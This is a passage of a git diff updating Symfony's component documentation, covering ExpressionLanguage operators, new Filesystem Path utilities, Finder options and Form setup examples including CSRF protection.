define('DB_USER', 'root'); - - var_dump($expressionLanguage->evaluate( - 'constant("DB_USER")' - )); - -This will print out ``root``. - -.. tip:: - - To read how to register your own functions to use in an expression, see - ":doc:`/components/expression_language/extending`". - -.. _component-expression-arrays: - -Working with Arrays -------------------- - -If you pass an array into an expression, use the ``[]`` syntax to access -array keys, similar to JavaScript:: - - $data = ['life' => 10, 'universe' => 10, 'everything' => 22]; - - var_dump($expressionLanguage->evaluate( - 'data["life"] + data["universe"] + data["everything"]', - [ - 'data' => $data, - ] - )); - -This will print out ``42``. - -Supported Operators -------------------- - -The component comes with a lot of operators: - -Arithmetic Operators -~~~~~~~~~~~~~~~~~~~~ - -* ``+`` (addition) -* ``-`` (subtraction) -* ``*`` (multiplication) -* ``/`` (division) -* ``%`` (modulus) -* ``**`` (pow) - -For example:: - - var_dump($expressionLanguage->evaluate( - 'life + universe + everything', - [ - 'life' => 10, - 'universe' => 10, - 'everything' => 22, - ] - )); - -This will print out ``42``. - -Bitwise Operators -~~~~~~~~~~~~~~~~~ - -* ``&`` (and) -* ``|`` (or) -* ``^`` (xor) - -Comparison Operators -~~~~~~~~~~~~~~~~~~~~ - -* ``==`` (equal) -* ``===`` (identical) -* ``!=`` (not equal) -* ``!==`` (not identical) -* ``<`` (less than) -* ``>`` (greater than) -* ``<=`` (less than or equal to) -* ``>=`` (greater than or equal to) -* ``matches`` (regex match) - -.. tip:: - - To test if a string does *not* match a regex, use the logical ``not`` - operator in combination with the ``matches`` operator:: - - $expressionLanguage->evaluate('not ("foo" matches "/bar/")'); // returns true - - You must use parenthesis because the unary operator ``not`` has precedence - over the binary operator ``matches``. - -Examples:: - - $ret1 = $expressionLanguage->evaluate( - 'life == everything', - [ - 'life' => 10, - 'universe' => 10, - 'everything' => 22, - ] - ); - - $ret2 = $expressionLanguage->evaluate( - 'life > everything', - [ - 'life' => 10, - 'universe' => 10, - 'everything' => 22, - ] - ); - -Both variables would be set to ``false``. - -Logical Operators -~~~~~~~~~~~~~~~~~ - -* ``not`` or ``!`` -* ``and`` or ``&&`` -* ``or`` or ``||`` - -For example:: - - $ret = $expressionLanguage->evaluate( - 'life < universe or life < everything', - [ - 'life' => 10, - 'universe' => 10, - 'everything' => 22, - ] - ); - -This ``$ret`` variable will be set to ``true``. - -String Operators -~~~~~~~~~~~~~~~~ - -* ``~`` (concatenation) - -For example:: - - var_dump($expressionLanguage->evaluate( - 'firstName~" "~lastName', - [ - 'firstName' => 'Arthur', - 'lastName' => 'Dent', - ] - )); - -This would print out ``Arthur Dent``. - -Array Operators -~~~~~~~~~~~~~~~ - -* ``in`` (contain) -* ``not in`` (does not contain) - -For example:: - - class User - { - public $group; - } - - $user = new User(); - $user->group = 'human_resources'; - - $inGroup = $expressionLanguage->evaluate( - 'user.group in ["human_resources", "marketing"]', - [ - 'user' => $user, - ] - ); - -The ``$inGroup`` would evaluate to ``true``. - -Numeric Operators -~~~~~~~~~~~~~~~~~ - -* ``..`` (range) - -For example:: - - class User - { - public $age; - } - - $user = new User(); - $user->age = 34; - - $expressionLanguage->evaluate( - 'user.age in 18..45', - [ - 'user' => $user, - ] - ); - -This will evaluate to ``true``, because ``user.age`` is in the range from -``18`` to ``45``. - -Ternary Operators -~~~~~~~~~~~~~~~~~ - -* ``foo ? 'yes' : 'no'`` -* ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``) -* ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``) - -Built-in Objects and Variables ------------------------------- - -When using this component inside a Symfony application, certain objects and -variables are automatically injected by Symfony so you can use them in your -expressions (e.g. the request, the current user, etc.): - -* :doc:`Variables available in security expressions </security/expressions>`; -* :doc:`Variables available in service container expressions </service_container/expression_language>`; -* :ref:`Variables available in routing expressions <routing-matching-expressions>`. diff --git a/components/filesystem.rst b/components/filesystem.rst index 6a9282bfe23..4eae6aaad27 100644 --- a/components/filesystem.rst +++ b/components/filesystem.rst @@ -1,10 +1,8 @@ -.. index:: - single: Filesystem - The Filesystem Component ======================== - The Filesystem component provides basic utilities for the filesystem. + The Filesystem component provides platform-independent utilities for + filesystem operations and for file/directory paths manipulation. Installation ------------ @@ -18,38 +16,32 @@ Installation Usage ----- -The :class:`Symfony\\Component\\Filesystem\\Filesystem` class is the unique -endpoint for filesystem operations:: +The component contains two main classes called :class:`Symfony\\Component\\Filesystem\\Filesystem` +and :class:`Symfony\\Component\\Filesystem\\Path`:: use Symfony\Component\Filesystem\Exception\IOExceptionInterface; use Symfony\Component\Filesystem\Filesystem; + use Symfony\Component\Filesystem\Path; $filesystem = new Filesystem(); try { - $filesystem->mkdir(sys_get_temp_dir().'/'.random_int(0, 1000)); + $filesystem->mkdir( + Path::normalize(sys_get_temp_dir().'/'.random_int(0, 1000)), + ); } catch (IOExceptionInterface $exception) { echo "An error occurred while creating your directory at ".$exception->getPath(); } -.. note:: - - Methods :method:`Symfony\\Component\\Filesystem\\Filesystem::mkdir`, - :method:`Symfony\\Component\\Filesystem\\Filesystem::exists`, - :method:`Symfony\\Component\\Filesystem\\Filesystem::touch`, - :method:`Symfony\\Component\\Filesystem\\Filesystem::remove`, - :method:`Symfony\\Component\\Filesystem\\Filesystem::chmod`, - :method:`Symfony\\Component\\Filesystem\\Filesystem::chown` and - :method:`Symfony\\Component\\Filesystem\\Filesystem::chgrp` can receive a - string, an array or any object implementing :phpclass:`Traversable` as - the target argument. +Filesystem Utilities +-------------------- ``mkdir`` ~~~~~~~~~ :method:`Symfony\\Component\\Filesystem\\Filesystem::mkdir` creates a directory recursively. On POSIX filesystems, directories are created with a default mode value -`0777`. You can use the second argument to set your own mode:: +``0777``. You can use the second argument to set your own mode:: $filesystem->mkdir('/tmp/photos', 0700); @@ -162,7 +154,7 @@ permissions of a file. The fourth argument is a boolean recursive option:: // sets the mode of the video to 0600 $filesystem->chmod('video.ogg', 0600); - // changes the mod of the src directory recursively + // changes the mode of the src directory recursively $filesystem->chmod('src', 0700, 0000, true); .. note:: @@ -214,13 +206,9 @@ support symbolic links, a third boolean argument is available:: :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` read links targets. -PHP's :phpfunction:`readlink` function returns the target of a symbolic link. However, its behavior -is completely different under Windows and Unix. On Windows systems, ``readlink()`` -resolves recursively the children links of a link until a final target is found. On -Unix-based systems ``readlink()`` only resolves the next link. - -The :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` method provided -by the Filesystem component always behaves in the same way:: +The :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` method +provided by the Filesystem component behaves in the same way on all operating +systems (unlike PHP's :phpfunction:`readlink` function):: // returns the next direct target of the link without considering the existence of the target $filesystem->readlink('/path/to/link'); @@ -228,17 +216,22 @@ by the Filesystem component always behaves in the same way:: // returns its absolute fully resolved final version of the target (if there are nested links, they are resolved) $filesystem->readlink('/path/to/link', true); -Its behavior is the following:: - - public function readlink($path, $canonicalize = false) +Its behavior is the following: * When ``$canonicalize`` is ``false``: - * if ``$path`` does not exist or is not a link, it returns ``null``. - * if ``$path`` is a link, it returns the next direct target of the link without considering the existence of the target. + + * if ``$path`` does not exist or is not a link, it returns ``null``. + * if ``$path`` is a link, it returns the next direct target of the link without considering the existence of the target. * When ``$canonicalize`` is ``true``: - * if ``$path`` does not exist, it returns null. - * if ``$path`` exists, it returns its absolute fully resolved final version. + + * if ``$path`` does not exist, it returns null. + * if ``$path`` exists, it returns its absolute fully resolved final version. + +.. note:: + + If you wish to canonicalize the path without checking its existence, you can + use :method:`Symfony\\Component\\Filesystem\\Path::canonicalize` method instead. ``makePathRelative`` ~~~~~~~~~~~~~~~~~~~~ @@ -252,7 +245,7 @@ absolute paths and returns the relative path from the second path to the first o '/var/lib/symfony/src/Symfony/Component' ); // returns 'videos/' - $filesystem->makePathRelative('/tmp/videos', '/tmp') + $filesystem->makePathRelative('/tmp/videos', '/tmp'); ``mirror`` ~~~~~~~~~~ @@ -291,18 +284,17 @@ exception on failure:: // returns a path like : /tmp/prefix_wyjgtF.png $filesystem->tempnam('/tmp', 'prefix_', '.png'); -.. versionadded:: 5.1 - - The option to set a suffix in ``tempnam()`` was introduced in Symfony 5.1. +.. _filesystem-dumpfile: ``dumpFile`` ~~~~~~~~~~~~ :method:`Symfony\\Component\\Filesystem\\Filesystem::dumpFile` saves the given -contents into a file. It does this in an atomic manner: it writes a temporary -file first and then moves it to the new file location when it's finished. -This means that the user will always see either the complete old file or -complete new file (but never a partially-written file):: +contents into a file (creating the file and its directory if they don't exist). +It does this in an atomic manner: it writes a temporary file first and then moves +it to the new file location when it's finished. This means that the user will +always see either the complete old file or complete new file (but never a +partially-written file):: $filesystem->dumpFile('file.txt', 'Hello World'); @@ -315,10 +307,243 @@ The ``file.txt`` file contains ``Hello World`` now. contents at the end of some file:: $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com'); + // the third argument tells whether the file should be locked when writing to it + $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com', true); If either the file or its containing directory doesn't exist, this method creates them before appending the contents. +``readFile`` +~~~~~~~~~~~~ + +.. versionadded:: 7.1 + + The ``readFile()`` method was introduced in Symfony 7.1. + +:method:`Symfony\\Component\\Filesystem\\Filesystem::readFile` returns all the +contents of a file as a string. Unlike the :phpfunction:`file_get_contents` function +from PHP, it throws an exception when the given file path is not readable and +when passing the path to a directory instead of a file:: + + $contents = $filesystem->readFile('/some/path/to/file.txt'); + +The ``$contents`` variable now stores all the contents of the ``file.txt`` file. + +Path Manipulation Utilities +--------------------------- + +Dealing with file paths usually involves some difficulties: + +- Platform differences: file paths look different on different platforms. UNIX + file paths start with a slash ("/"), while Windows file paths start with a + system drive ("C:"). UNIX uses forward slashes, while Windows uses backslashes + by default. However, Windows also accepts forward slashes, so both types of + separators generally work. +- Absolute/relative paths: web applications frequently need to deal with absolute + and relative paths. Converting one to the other properly is tricky and repetitive. + +:class:`Symfony\\Component\\Filesystem\\Path` provides utility methods to tackle +those issues. + +Canonicalization +~~~~~~~~~~~~~~~~ + +Returns the shortest path name equivalent to the given path. It applies the +following rules iteratively until no further processing can be done: + +- "." segments are removed; +- ".." segments are resolved; +- backslashes ("\\") are converted into forward slashes ("/"); +- root paths ("/" and "C:/") always terminate with a slash; +- non-root paths never terminate with a slash; +- schemes (such as "phar://") are kept; +- replace ``~`` with the user's home directory. + +You can canonicalize a path with :method:`Symfony\\Component\\Filesystem\\Path::canonicalize`:: + + echo Path::canonicalize('/var/www/vhost/webmozart/../config.ini'); + // => /var/www/vhost/config.ini + +You can pass absolute paths and relative paths to the +:method:`Symfony\\Component\\Filesystem\\Path::canonicalize` method. When a +relative path is passed, ".." segments at the beginning of the path are kept:: + + echo Path::canonicalize('../uploads/../config/config.yaml'); + // => ../config/config.yaml + +Malformed paths are returned unchanged:: + + echo Path::canonicalize('C:Programs/PHP/php.ini'); + // => C:Programs/PHP/php.ini + +Joining Paths +~~~~~~~~~~~~~ + +The :method:`Symfony\\Component\\Filesystem\\Path::join` method concatenates +the given paths and normalizes separators. It's a cleaner alternative to +string concatenation for building file paths:: + + echo Path::join('/var/www', 'vhost', 'config.ini'); + // => /var/www/vhost/config.ini + + echo Path::join('C:\\Program Files', 'PHP', 'php.ini'); + // => C:/Program Files/PHP/php.ini + // (both forward slashes and backslashes work on Windows) + +The ``join()`` method handles multiple scenarios correctly: + +Empty parts are ignored:: + + echo Path::join('/var/www', '', 'config.ini'); + // => /var/www/config.ini + +Leading slashes in subsequent arguments are removed:: + + echo Path::join('/var/www', '/etc', 'config.ini'); + // => /var/www/etc/config.ini + +Trailing slashes are preserved only for root paths:: + + echo Path::join('/var/www', 'vhost/'); + // => /var/www/vhost + + echo Path::join('/', ''); + // => / + +Works with any number of arguments:: + + echo Path::join('/var', 'www', 'vhost', 'symfony', 'config', 'config.ini'); + // => /var/www/vhost/symfony/config/config.ini + +Converting Absolute/Relative Paths +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Absolute/relative paths can be converted with the methods +:method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute` +and :method:`Symfony\\Component\\Filesystem\\Path::makeRelative`. + +:method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute` method expects a +relative path and a base path to base that relative path upon:: + + echo Path::makeAbsolute('config/config.yaml', '/var/www/project'); + // => /var/www/project/config/config.yaml + +If an absolute path is passed in the first argument, the absolute path is +returned unchanged:: + + echo Path::makeAbsolute('/usr/share/lib/config.ini', '/var/www/project'); + // => /usr/share/lib/config.ini + +The method resolves ".." segments, if there are any:: + + echo Path::makeAbsolute('../config/config.yaml', '/var/www/project/uploads'); + // => /var/www/project/config/config.yaml + +This method is very useful if you want to be able to accept relative paths (for +example, relative to the root directory of your project) and absolute paths at +the same time. + +:method:`Symfony\\Component\\Filesystem\\Path::makeRelative` is the inverse +operation to :method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute`:: + + echo Path::makeRelative('/var/www/project/config/config.yaml', '/var/www/project'); + // => config/config.yaml + +If the path is not within the base path, the method will prepend ".." segments +as necessary:: + + echo Path::makeRelative('/var/www/project/config/config.yaml', '/var/www/project/uploads'); + // => ../config/config.yaml + +Use :method:`Symfony\\Component\\Filesystem\\Path::isAbsolute` and +:method:`Symfony\\Component\\Filesystem\\Path::isRelative` to check whether a +path is absolute or relative:: + + Path::isAbsolute('C:\Programs\PHP\php.ini') + // => true + +All four methods internally canonicalize the passed path. + +Finding Longest Common Base Paths +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When you store absolute file paths on the file system, this leads to a lot of +duplicated information:: + + return [ + '/var/www/vhosts/project/httpdocs/config/config.yaml', + '/var/www/vhosts/project/httpdocs/config/routing.yaml', + '/var/www/vhosts/project/httpdocs/config/services.yaml', + '/var/www/vhosts/project/httpdocs/images/banana.gif', + '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif', + ]; + +Especially when storing many paths, the amount of duplicated information is +noticeable. You can use :method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath` +to check a list of paths for a common base path:: + + $basePath = Path::getLongestCommonBasePath( + '/var/www/vhosts/project/httpdocs/config/config.yaml', + '/var/www/vhosts/project/httpdocs/config/routing.yaml', + '/var/www/vhosts/project/httpdocs/config/services.yaml', + '/var/www/vhosts/project/httpdocs/images/banana.gif', + '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif' + ); + // => /var/www/vhosts/project/httpdocs + +Use this common base path to shorten the stored paths:: + + return [ + $basePath.'/config/config.yaml', + $basePath.'/config/routing.yaml', + $basePath.'/config/services.yaml', + $basePath.'/images/banana.gif', + $basePath.'/uploads/images/nicer-banana.gif', + ]; + +:method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath` always +returns canonical paths. + +Use :method:`Symfony\\Component\\Filesystem\\Path::isBasePath` to test whether a +path is a base path of another path:: + + Path::isBasePath("/var/www", "/var/www/project"); + // => true + + Path::isBasePath("/var/www", "/var/www/project/.."); + // => true + + Path::isBasePath("/var/www", "/var/www/project/../.."); + // => false + +Finding Directories/Root Directories +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +PHP offers the function :phpfunction:`dirname` to obtain the directory path of a +file path. This method has a few quirks:: + +- ``dirname()`` does not accept backslashes on UNIX +- ``dirname("C:/Programs")`` returns "C:", not "C:/" +- ``dirname("C:/")`` returns ".", not "C:/" +- ``dirname("C:")`` returns ".", not "C:/" +- ``dirname("Programs")`` returns ".", not "" +- ``dirname()`` does not canonicalize the result + +:method:`Symfony\\Component\\Filesystem\\Path::getDirectory` fixes these +shortcomings:: + + echo Path::getDirectory("C:\Programs"); + // => C:/ + +Additionally, you can use :method:`Symfony\\Component\\Filesystem\\Path::getRoot` +to obtain the root of a path:: + + echo Path::getRoot("/etc/apache2/sites-available"); + // => / + + echo Path::getRoot("C:\Programs\Apache\Config"); + // => C:/ + Error Handling -------------- diff --git a/components/filesystem/lock_handler.rst b/components/filesystem/lock_handler.rst deleted file mode 100644 index e7dab2fa625..00000000000 --- a/components/filesystem/lock_handler.rst +++ /dev/null @@ -1,9 +0,0 @@ -:orphan: - -LockHandler -=========== - -.. caution:: - - The ``LockHandler`` utility was removed in Symfony 4.0. Use the new Symfony - :doc:`Lock component </components/lock>` instead. diff --git a/components/finder.rst b/components/finder.rst index c0c5682d19a..cecc597ac64 100644 --- a/components/finder.rst +++ b/components/finder.rst @@ -1,7 +1,3 @@ -.. index:: - single: Finder - single: Components; Finder - The Finder Component ==================== @@ -45,7 +41,7 @@ The ``$file`` variable is an instance of :class:`Symfony\\Component\\Finder\\SplFileInfo` which extends PHP's own :phpclass:`SplFileInfo` to provide methods to work with relative paths. -.. caution:: +.. warning:: The ``Finder`` object doesn't reset its internal state automatically. This means that you need to create a new instance if you do not want @@ -131,6 +127,30 @@ If you want to follow `symbolic links`_, use the ``followLinks()`` method:: $finder->files()->followLinks(); +Note that this method follows links but it doesn't resolve them. Consider +the following structure of files of directories: + +.. code-block:: text + + ├── folder1/ + │ ├──file1.txt + │ ├── file2link (symbolic link to folder2/file2.txt file) + │ └── folder3link (symbolic link to folder3/ directory) + ├── folder2/ + │ └── file2.txt + └── folder3/ + └── file3.txt + +If you try to find all files in ``folder1/`` via ``$finder->files()->in('/path/to/folder1/')`` +you'll get the following results: + +* When **not** using the ``followLinks()`` method: ``file1.txt`` and ``file2link`` + (this link is not resolved). The ``folder3link`` doesn't appear in the results + because it's not followed or resolved; +* When using the ``followLinks()`` method: ``file1.txt``, ``file2link`` (this link + is still not resolved) and ``folder3/file3.txt`` (this file appears in the results + because the ``folder1/folder3link`` link was followed). + Version Control Files ~~~~~~~~~~~~~~~~~~~~~ @@ -141,13 +161,22 @@ default when looking for files and directories, but you can change this with the $finder->ignoreVCS(false); -If the search directory contains a ``.gitignore`` file, you can reuse those -rules to exclude files and directories from the results with the +If the search directory and its subdirectories contain ``.gitignore`` files, you +can reuse those rules to exclude files and directories from the results with the :method:`Symfony\\Component\\Finder\\Finder::ignoreVCSIgnored` method:: // excludes files/directories matching the .gitignore patterns $finder->ignoreVCSIgnored(true); +The rules of a directory always override the rules of its parent directories. + +.. note:: + + Git looks for ``.gitignore`` files starting from the repository root directory. + Symfony's Finder behavior is different and it looks for ``.gitignore`` files + starting from the directory used to search files/directories. To be consistent + with Git behavior, you should explicitly search from the Git repository root. + File Name ~~~~~~~~~ @@ -210,7 +239,7 @@ Use the forward slash (i.e. ``/``) as the directory separator on all platforms, including Windows. The component makes the necessary conversion internally. The ``path()`` method accepts a string, a regular expression or an array of -strings or regulars expressions:: +strings or regular expressions:: $finder->path('foo/bar'); $finder->path('/^foo\/bar/'); @@ -293,6 +322,7 @@ Directory Depth By default, the Finder recursively traverses directories. Restrict the depth of traversing with :method:`Symfony\\Component\\Finder\\Finder::depth`:: + // this will only consider files/directories which are direct children $finder->depth('== 0'); $finder->depth('< 3'); @@ -323,13 +353,23 @@ it is called with the file as a :class:`Symfony\\Component\\Finder\\SplFileInfo` instance. The file is excluded from the result set if the Closure returns ``false``. +The ``filter()`` method includes a second optional argument to prune directories. +If set to ``true``, this method completely skips the excluded directories instead +of traversing the entire file/directory structure and excluding them later. When +using a closure, return ``false`` for the directories which you want to prune. + +Pruning directories early can improve performance significantly depending on the +file/directory hierarchy complexity and the number of excluded directories. + Sorting Results --------------- -Sort the results by name or by type (directories first, then files):: +Sort the results by name, extension, size or type (directories first, then files):: $finder->sortByName(); - + $finder->sortByCaseInsensitiveName(); + $finder->sortByExtension(); + $finder->sortBySize(); $finder->sortByType(); .. tip:: @@ -339,6 +379,11 @@ Sort the results by name or by type (directories first, then files):: as its argument to use PHP's `natural sort order`_ algorithm instead (e.g. ``file1.txt``, ``file2.txt``, ``file10.txt``). + The ``sortByCaseInsensitiveName()`` method uses the case insensitive + :phpfunction:`strcasecmp` PHP function. Pass ``true`` as its argument to use + PHP's case insensitive `natural sort order`_ algorithm instead (i.e. the + :phpfunction:`strnatcasecmp` PHP function) + Sort the files and directories by the last accessed, changed or modified time:: $finder->sortByAccessedTime(); @@ -349,7 +394,7 @@ Sort the files and directories by the last accessed, changed or modified time:: You can also define your own sorting algorithm with the ``sort()`` method:: - $finder->sort(function (\SplFileInfo $a, \SplFileInfo $b) { + $finder->sort(function (\SplFileInfo $a, \SplFileInfo $b): int { return strcmp($a->getRealPath(), $b->getRealPath()); }); diff --git a/components/form.rst b/components/form.rst index 7ac59478ceb..44f407e4c8e 100644 --- a/components/form.rst +++ b/components/form.rst @@ -1,7 +1,3 @@ -.. index:: - single: Forms - single: Components; Form - The Form Component ================== @@ -121,16 +117,16 @@ The following snippet adds CSRF protection to the form factory:: use Symfony\Component\Form\Extension\Csrf\CsrfExtension; use Symfony\Component\Form\Forms; - use Symfony\Component\HttpFoundation\Session\Session; + use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\Security\Csrf\CsrfTokenManager; use Symfony\Component\Security\Csrf\TokenGenerator\UriSafeTokenGenerator; use Symfony\Component\Security\Csrf\TokenStorage\SessionTokenStorage; - // creates a Session object from the HttpFoundation component - $session = new Session(); + // creates a RequestStack object using the current request + $requestStack = new RequestStack([$request]); $csrfGenerator = new UriSafeTokenGenerator(); - $csrfStorage = new SessionTokenStorage($session); + $csrfStorage = new SessionTokenStorage($requestStack); $csrfManager = new CsrfTokenManager($csrfGenerator, $csrfStorage); $formFactory = Forms::createFormFactoryBuilder() @@ -138,6 +134,11 @@ The following snippet adds CSRF protection to the form factory:: ->addExtension(new CsrfExtension($csrfManager)) ->getFormFactory(); +.. versionadded:: 7.2 + + Support for passing requests to the constructor of the ``RequestStack`` + class was introduced in Symfony 7.2. + Internally, this extension will automatically add a hidden field to every form (called ``_token`` by default) whose value is automatically generated by the CSRF generator and validated when binding the form. @@ -207,7 +208,7 @@ to bootstrap or access Twig and add the :class:`Symfony\\Bridge\\Twig\\Extension ])); $formEngine = new TwigRendererEngine([$defaultFormTheme], $twig); $twig->addRuntimeLoader(new FactoryRuntimeLoader([ - FormRenderer::class => function () use ($formEngine, $csrfManager) { + FormRenderer::class => function () use ($formEngine, $csrfManager): FormRenderer { return new FormRenderer($formEngine, $csrfManager); }, ])); @@ -222,10 +223,6 @@ to bootstrap or access Twig and add the :class:`Symfony\\Bridge\\Twig\\Extension // ... ->getFormFactory(); -.. versionadded:: 1.30 - - The ``Twig\RuntimeLoader\FactoryRuntimeLoader`` was introduced in Twig 1.30. - The exact details of your `Twig Configuration`_ will vary, but the goal is always to add the :class:`Symfony\\Bridge\\Twig\\Extension\\FormExtension` to Twig, which gives you access to the Twig functions for rendering forms. @@ -370,10 +367,6 @@ you need to. If your application uses global or static variables (not usually a good idea), then you can store the object on some static class or do something similar. -Regardless of how you architect your application, remember that you -should only have one form factory and that you'll need to be able to access -it throughout your application. - .. _component-form-intro-create-simple-form: Creating a simple Form @@ -382,7 +375,8 @@ Creating a simple Form .. tip:: If you're using the Symfony Framework, then the form factory is available - automatically as a service called ``form.factory``. Also, the default + automatically as a service called ``form.factory``, you can inject it as + ``Symfony\Component\Form\FormFactoryInterface``. Also, the default base controller class has a :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::createFormBuilder` method, which is a shortcut to fetch the form factory and call ``createBuilder()`` on it. @@ -393,35 +387,20 @@ is created from the form factory. .. configuration-block:: - .. code-block:: php-standalone - - use Symfony\Component\Form\Extension\Core\Type\TextType; - use Symfony\Component\Form\Extension\Core\Type\DateType; - - // ... - - $form = $formFactory->createBuilder() - ->add('task', TextType::class) - ->add('dueDate', DateType::class) - ->getForm(); - - var_dump($twig->render('new.html.twig', [ - 'form' => $form->createView(), - ])); - .. code-block:: php-symfony // src/Controller/TaskController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\Form\Extension\Core\Type\TextType; use Symfony\Component\Form\Extension\Core\Type\DateType; + use Symfony\Component\Form\Extension\Core\Type\TextType; + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; class TaskController extends AbstractController { - public function new(Request $request) + public function new(Request $request): Response { // createFormBuilder is a shortcut to get the "form factory" // and then call "createBuilder()" on it @@ -437,6 +416,22 @@ is created from the form factory. } } + .. code-block:: php-standalone + + use Symfony\Component\Form\Extension\Core\Type\DateType; + use Symfony\Component\Form\Extension\Core\Type\TextType; + + // ... + + $form = $formFactory->createBuilder() + ->add('task', TextType::class) + ->add('dueDate', DateType::class) + ->getForm(); + + var_dump($twig->render('new.html.twig', [ + 'form' => $form->createView(), + ])); + As you can see, creating a form is like writing a recipe: you call ``add()`` for each new field you want to create. The first argument to ``add()`` is the name of your field, and the second is the fully qualified class name. The Form @@ -453,35 +448,19 @@ an "edit" form), pass in the default data when creating your form builder: .. configuration-block:: - .. code-block:: php-standalone - - use Symfony\Component\Form\Extension\Core\Type\FormType; - use Symfony\Component\Form\Extension\Core\Type\TextType; - use Symfony\Component\Form\Extension\Core\Type\DateType; - - // ... - - $defaults = [ - 'dueDate' => new \DateTime('tomorrow'), - ]; - - $form = $formFactory->createBuilder(FormType::class, $defaults) - ->add('task', TextType::class) - ->add('dueDate', DateType::class) - ->getForm(); - .. code-block:: php-symfony // src/Controller/DefaultController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Form\Extension\Core\Type\TextType; use Symfony\Component\Form\Extension\Core\Type\DateType; + use Symfony\Component\Form\Extension\Core\Type\TextType; + use Symfony\Component\HttpFoundation\Response; class DefaultController extends AbstractController { - public function new(Request $request) + public function new(Request $request): Response { $defaults = [ 'dueDate' => new \DateTime('tomorrow'), @@ -496,6 +475,23 @@ an "edit" form), pass in the default data when creating your form builder: } } + .. code-block:: php-standalone + + use Symfony\Component\Form\Extension\Core\Type\DateType; + use Symfony\Component\Form\Extension\Core\Type\FormType; + use Symfony\Component\Form\Extension\Core\Type\TextType; + + // ... + + $defaults = [ + 'dueDate' => new \DateTime('tomorrow'), + ]; + + $form = $formFactory->createBuilder(FormType::class, $defaults) + ->add('task', TextType::class) + ->add('dueDate', DateType::class) + ->getForm(); + .. tip:: In this example, the default data is an array. Later, when you use the @@ -517,11 +513,11 @@ done by passing a special form "view" object to your template (notice the {{ form_start(form) }} {{ form_widget(form) }} - <input type="submit"/> + <input type="submit"> {{ form_end(form) }} .. image:: /_images/form/simple-form.png - :align: center + :alt: An HTML form showing a text box labelled "Task", three select boxes for a year, month and day labelled "Due date" and a button labelled "Create Task". That's it! By printing ``form_widget(form)``, each field in the form is rendered, along with a label and error message (if there is one). While this is @@ -539,19 +535,6 @@ by :method:`Symfony\\Component\\Form\\Form::handleRequest` to determine whether .. configuration-block:: - .. code-block:: php-standalone - - use Symfony\Component\Form\Extension\Core\Type\FormType; - - // ... - - $formBuilder = $formFactory->createBuilder(FormType::class, null, [ - 'action' => '/search', - 'method' => 'GET', - ]); - - // ... - .. code-block:: php-symfony // src/Controller/DefaultController.php @@ -559,10 +542,11 @@ by :method:`Symfony\\Component\\Form\\Form::handleRequest` to determine whether use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\Form\Extension\Core\Type\FormType; + use Symfony\Component\HttpFoundation\Response; class DefaultController extends AbstractController { - public function search() + public function search(): Response { $formBuilder = $this->createFormBuilder(null, [ 'action' => '/search', @@ -573,46 +557,28 @@ by :method:`Symfony\\Component\\Form\\Form::handleRequest` to determine whether } } -.. _component-form-intro-handling-submission: - -Handling Form Submissions -~~~~~~~~~~~~~~~~~~~~~~~~~ - -To handle form submissions, use the :method:`Symfony\\Component\\Form\\Form::handleRequest` -method: - -.. configuration-block:: - .. code-block:: php-standalone - use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\HttpFoundation\RedirectResponse; - use Symfony\Component\Form\Extension\Core\Type\DateType; - use Symfony\Component\Form\Extension\Core\Type\TextType; + use Symfony\Component\Form\Extension\Core\Type\FormType; // ... - $form = $formFactory->createBuilder() - ->add('task', TextType::class) - ->add('dueDate', DateType::class) - ->getForm(); - - $request = Request::createFromGlobals(); - - $form->handleRequest($request); + $formBuilder = $formFactory->createBuilder(FormType::class, null, [ + 'action' => '/search', + 'method' => 'GET', + ]); - if ($form->isSubmitted() && $form->isValid()) { - $data = $form->getData(); + // ... - // ... perform some action, such as saving the data to the database +.. _component-form-intro-handling-submission: - $response = new RedirectResponse('/task/success'); - $response->prepare($request); +Handling Form Submissions +~~~~~~~~~~~~~~~~~~~~~~~~~ - return $response->send(); - } +To handle form submissions, use the :method:`Symfony\\Component\\Form\\Form::handleRequest` +method: - // ... +.. configuration-block:: .. code-block:: php-symfony @@ -622,10 +588,11 @@ method: use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\Form\Extension\Core\Type\DateType; use Symfony\Component\Form\Extension\Core\Type\TextType; + use Symfony\Component\HttpFoundation\Response; class TaskController extends AbstractController { - public function new(Request $request) + public function new(Request $request): Response { $form = $this->createFormBuilder() ->add('task', TextType::class) @@ -646,16 +613,54 @@ method: } } + .. code-block:: php-standalone + + use Symfony\Component\Form\Extension\Core\Type\DateType; + use Symfony\Component\Form\Extension\Core\Type\TextType; + use Symfony\Component\HttpFoundation\RedirectResponse; + use Symfony\Component\HttpFoundation\Request; + + // ... + + $form = $formFactory->createBuilder() + ->add('task', TextType::class) + ->add('dueDate', DateType::class) + ->getForm(); + + $request = Request::createFromGlobals(); + + $form->handleRequest($request); + + if ($form->isSubmitted() && $form->isValid()) { + $data = $form->getData(); + + // ... perform some action, such as saving the data to the database + + $response = new RedirectResponse('/task/success'); + $response->prepare($request); + + return $response->send(); + } + + // ... + +.. warning:: + + The form's ``createView()`` method should be called *after* ``handleRequest()`` is + 